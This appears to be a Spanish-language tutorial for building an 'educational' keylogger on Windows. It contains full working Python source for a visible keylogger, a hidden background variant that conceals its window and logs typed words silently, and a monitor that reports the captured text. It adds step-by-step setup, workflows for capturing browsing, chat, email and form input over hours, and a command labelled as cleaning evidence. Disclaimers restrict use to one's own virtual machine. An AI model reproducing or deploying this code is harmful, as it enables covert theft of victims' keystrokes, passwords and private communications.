🚀 THE ULTIMATE GUIDE - Keylogger Educativo Completo

📋 REQUISITOS E INSTALACIÓN

1. INSTALAR DEPENDENCIAS

cmd

Abrir CMD como Administrador

pip install keyboard pywin32

Si falla, probar:

python -m pip install keyboard pywin32

py -m pip install keyboard pywin32

Verificar instalación:

python -c "import keyboard, win32gui; print('✅ Dependencias instaladas correctamente')"

2. CREAR ARCHIVO REQUIREMENTS.TXT

cmd

notepad requirements.txt

Contenido:

txt

keyboard==0.13.5

pywin32==311

Instalar desde requirements:

cmd

pip install -r requirements.txt

📁 CREACIÓN DE ARCHIVOS CON NOTEPAD

📍 UBICACIÓN:

cmd

cd C:\Users\50686\AppData\Local\Programs\Python\Python39

📝 MÉTODO PARA CADA ARCHIVO:

1. **Ejecutar en CMD:** notepad nombre_archivo.py
2. **Pegar el código** correspondiente
3. **Guardar:** Ctrl + S
4. **Cerrar** Notepad

🗂️ ARCHIVOS A CREAR (4 ARCHIVOS ESENCIALES)

1. 🎯 KEYLOGGER PRINCIPAL: keylogger_fixed.py

python

```
import keyboard
import time
from datetime import datetime
import os
import sys

print("=== KEYLOGGER EDUCATIVO ===")
print("Solo para uso en entorno controlado")
print("Presiona Ctrl+Alt+Q para detener")

# Crear carpeta de logs
log_dir = os.path.join(os.path.expanduser("~"), "Desktop", "KeyloggerLogs")
os.makedirs(log_dir, exist_ok=True)
log_file = os.path.join(log_dir, "word_log.txt")
```

```
print(f"Logs guardados en: {log_file}")
print("Keylogger ACTIVO - Escribe algo...")

current_word = ""
is_running = True

def on_key_press(event):
    global current_word, is_running

    # Comando secreto para detener
    if event.name == 'q' and keyboard.is_pressed('ctrl+alt'):
        print("\n🛑 Keylogger detenido por usuario")
        is_running = False
        return

    if event.name == 'enter':
        if current_word:
            with open(log_file, "a", encoding="utf-8") as f:
                f.write(f"{datetime.now()} - {current_word}\n")
            print(f"📝 Palabra: {current_word}")
            current_word = ""
    elif event.name == 'space':
        if current_word:
            with open(log_file, "a", encoding="utf-8") as f:
                f.write(f"{datetime.now()} - {current_word}\n")
            print(f"📝 Palabra: {current_word}")
            current_word = ""
    elif len(event.name) == 1 and event.name.isprintable():
```

```
        current_word += event.name

# Configurar el hook
keyboard.on_press(on_key_press)

# Mantener el programa ejecutándose
try:
    while is_running:
        time.sleep(0.1)
except KeyboardInterrupt:
    print("\n🛑 Keylogger interrumpido")

print("🔚 Keylogger detenido")
input("Presiona Enter para cerrar...")
```

2. 👻 KEYLOGGER BACKGROUND: keylogger_background.py

```
python
import keyboard
import time
from datetime import datetime
import os
import sys

# Ocultar ventana (ejecutar con pythonw.exe)
try:
    import win32gui
    import win32con
    window = win32gui.GetForegroundWindow()
    win32gui.ShowWindow(window, win32con.SW_HIDE)
```

```
except:
    pass

log_dir = os.path.join(os.path.expanduser("~"), "Desktop", "KeyloggerLogs")
os.makedirs(log_dir, exist_ok=True)
log_file = os.path.join(log_dir, "word_log.txt")

current_word = ""
is_running = True

def on_key_press(event):
    global current_word, is_running

    # Comando secreto para detener (Ctrl + Alt + Shift + Q)
    if event.name == 'q' and keyboard.is_pressed('ctrl+alt+shift'):
        is_running = False
        return

    if event.name == 'enter':
        if current_word:
            with open(log_file, "a", encoding="utf-8") as f:
                f.write(f"{datetime.now()} - {current_word}\n")
            current_word = ""
    elif event.name == 'space':
        if current_word:
            with open(log_file, "a", encoding="utf-8") as f:
                f.write(f"{datetime.now()} - {current_word}\n")
            current_word = ""
```

```
    elif len(event.name) == 1 and event.name.isprintable():
        current_word += event.name

# Configurar el hook de teclado
keyboard.on_press(on_key_press)

# Bucle principal silencioso
while is_running:
    time.sleep(1)
```

3. 📊 MONITOR: monitor_keylogger.py

```
python
import os
import time
from datetime import datetime
import sys
from collections import Counter

def monitor_keylogger():
    log_dir = os.path.join(os.path.expanduser("~"), "Desktop", "KeyloggerLogs")
    log_file = os.path.join(log_dir, "word_log.txt")

    if not os.path.exists(log_file):
        print("❌ No se encontraron logs.")
        print(" 💡 Ejecuta primero: python keylogger_fixed.py")
        input("Presiona Enter para continuar...")
        return

    print("🔍 MONITOR EN TIEMPO REAL ACTIVADO")
```

```
    print("Presiona Ctrl+C para detener\n")
    print(f"📁 Monitoreando: {log_file}")

    last_size = 0
    try:
        while True:
            current_size = os.path.getsize(log_file)
            if current_size > last_size:
                with open(log_file, "r", encoding="utf-8") as f:
                    lines = f.readlines()
                    new_lines = lines[last_size:]
                    for line in new_lines:
                        print(f"📝 {line.strip()}")

                last_size = current_size

            time.sleep(1)

    except KeyboardInterrupt:
        print("\n⏹️ Monitor detenido")

def show_stats():
    log_dir = os.path.join(os.path.expanduser("~"), "Desktop", "KeyloggerLogs")
    log_file = os.path.join(log_dir, "word_log.txt")

    if os.path.exists(log_file):
        with open(log_file, "r", encoding="utf-8") as f:
            lines = f.readlines()
```

```
        words = [line.split(" - ")[1].strip() for line in lines
                 if " - " in line and not line.split(" - ")[1].startswith('[')]

        word_freq = Counter(words)

        print("📊 === ESTADÍSTICAS DETALLADAS ===")
        print(f"📁 Archivo: {log_file}")
        print(f"📈 Total palabras: {len(words)}")
        print(f"🎯 Palabras únicas: {len(word_freq)}")
        print(f"📄 Líneas en log: {len(lines)}")
        print(f"💾 Tamaño: {os.path.getsize(log_file)} bytes")
        print(f"🕒 Última actualización: {datetime.fromtimestamp(os.path.getmtime(log_file))}")

        if words:
            print(f"\n🔥 TOP 5 PALABRAS MÁS USADAS:")
            for word, count in word_freq.most_common(5):
                print(f"   '{word}': {count} veces")

            print(f"\n📝 ÚLTIMAS 5 CAPTURAS:")
            for word in words[-5:]:
                print(f"   - {word}")
        else:
            print("\nℹ️ El archivo de log existe pero no hay palabras capturadas aún.")
            print("   Escribe algo mientras el keylogger está ejecutándose.")

    else:
```

```
        print("❌ No se encontraron logs")
        print("💡 Ejecuta primero: python keylogger_fixed.py")
        print(f"📂 La carpeta debería crearse en: {log_dir}")

def clean_logs():
    log_dir = os.path.join(os.path.expanduser("~"), "Desktop", "KeyloggerLogs")
    if os.path.exists(log_dir):
        import shutil
        shutil.rmtree(log_dir)
        print("✅ Todos los logs han sido eliminados")
        print(f"🗑️ Carpeta eliminada: {log_dir}")
    else:
        print("ℹ️ No hay logs para eliminar")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        if sys.argv[1] == "monitor":
            monitor_keylogger()
        elif sys.argv[1] == "clean":
            clean_logs()
        elif sys.argv[1] == "help":
            print("""
🎯 COMANDOS DISPONIBLES:
  python monitor_keylogger.py          → Ver estadísticas
  python monitor_keylogger.py monitor  → Monitoreo en tiempo real
  python monitor_keylogger.py clean    → Eliminar todos los logs
  python monitor_keylogger.py help     → Mostrar esta ayuda
            """)
```

```
        else:
            show_stats()
    else:
        show_stats()
```

4. 📋 REQUIREMENTS: requirements.txt

txt

```
keyboard==0.13.5
pywin32==311
```

🎯 MODOS DE OPERACIÓN

📍 PRIMERO - IR AL DIRECTORIO:

cmd

```
cd C:\Users\50686\AppData\Local\Programs\Python\Python39
```

🔧 MODO PRUEBA (Visible - Para Aprendizaje)

cmd

```
python keylogger_fixed.py
```

Características:

- ✅ Ventana CMD visible
- ✅ Muestra capturas en tiempo real
- ✅ Fácil de detener (Ctrl+Alt+Q)
- ✅ Ideal para principiantes

👻 MODO BACKGROUND (Invisible - Para Simulaciones)

cmd

```
pythonw keylogger_background.py
```

Características:

- ❌ Sin ventana visible
- ✅ Ejecución silenciosa

- ✅ Se detiene con Ctrl+Alt+Shift+Q
- ✅ Simulación realista

📊 MODO MONITOR (Análisis)

cmd

```
python monitor_keylogger.py monitor
```

Características:

- ✅ Monitoreo en tiempo real
- ✅ No interfiere con keylogger
- ✅ Estadísticas detalladas
- ✅ Ctrl+C para detener

🚀 FLUJOS DE TRABAJO

FLUJO 1: APRENDIZAJE BÁSICO

cmd

```
# Ventana 1 - Keylogger Visible
python keylogger_fixed.py

# Ventana 2 - Monitor
python monitor_keylogger.py monitor

# Ventana 3 - Probar
# Abrir Bloc de Notas y escribir
```

FLUJO 2: SIMULACIÓN AVANZADA

cmd

```
# Iniciar Keylogger Invisible
pythonw keylogger_background.py
```

Usar la MV normalmente por horas

Ver progreso periódicamente
python monitor_keylogger.py

Monitoreo en tiempo real ocasional
python monitor_keylogger.py monitor

FLUJO 3: ANÁLISIS PROFUNDO

cmd
Ejecutar background keylogger
pythonw keylogger_background.py

Realizar actividades variadas:
- Navegación web
- Edición de documentos
- Chat y emails
- Formularios

Analizar resultados
python monitor_keylogger.py

Limpiar evidencia
python monitor_keylogger.py clean

⚡ COMANDOS RÁPIDOS - CHEAT SHEET

Comando	Propósito	Detener
python keylogger_fixed.py	Modo visible	Ctrl+Alt+Q
pythonw keylogger_background.py	Modo invisible	Ctrl+Alt+Shift+Q
python monitor_keylogger.py	Ver estadísticas	Auto
python monitor_keylogger.py monitor	Tiempo real	Ctrl+C
python monitor_keylogger.py clean	Limpiar logs	Auto

🛡️ GESTIÓN Y SEGURIDAD

Verificar Procesos Activos:

cmd

tasklist | findstr python

Detener Todo Forzadamente:

cmd

taskkill /f /im python.exe

taskkill /f /im pythonw.exe

Limpiar Completamente:

cmd

python monitor_keylogger.py clean

taskkill /f /im python* >nul 2>&1

Verificar Limpieza:

cmd

tasklist | findstr python

dir %USERPROFILE%\Desktop\KeyloggerLogs\ 2>nul || echo "✅ Sistema limpio"

📊 ANÁLISIS EDUCATIVO - QUÉ OBSERVAR

Patrones de Comportamiento:

- 🔍 **Velocidad de escritura**
- 🔍 **Palabras más usadas**
- 🔍 **Programas frecuentados**
- 🔍 **Horarios de actividad**
- 🔍 **Errores comunes al escribir**

Ejercicios de Análisis:

1. **Mapa de palabras** - ¿Qué términos usas más?
2. **Análisis temporal** - ¿Cuándo eres más productivo?
3. **Detección de patrones** - ¿Escribes diferente en cada programa?
4. **Seguridad** - ¿Capturas información sensible accidentalmente?

⚠️ RECORDATORIO CRÍTICO

- ✅ **SOLO** uso educativo en tu MV
- ✅ **MONITOREA** constantemente
- ✅ **USA DATOS FICTICIOS** en pruebas
- ✅ **LIMPIAR** después de cada sesión
- ✅ **DOCUMENTA** hallazgos para aprendizaje
- ❌ **NUNCA** en sistemas ajenos
- ❌ **NUNCA** capturar información real sensible

🔧 VERIFICACIÓN FINAL

Después de crear archivos:

cmd

dir *.py

Debe mostrar 4 archivos:

- keylogger_fixed.py
- keylogger_background.py
- monitor_keylogger.py
- requirements.txt

Prueba Final:

cmd

python -c "import keyboard, win32gui; print('🎉 SISTEMA LISTO - Ultimate Guide Activada!')"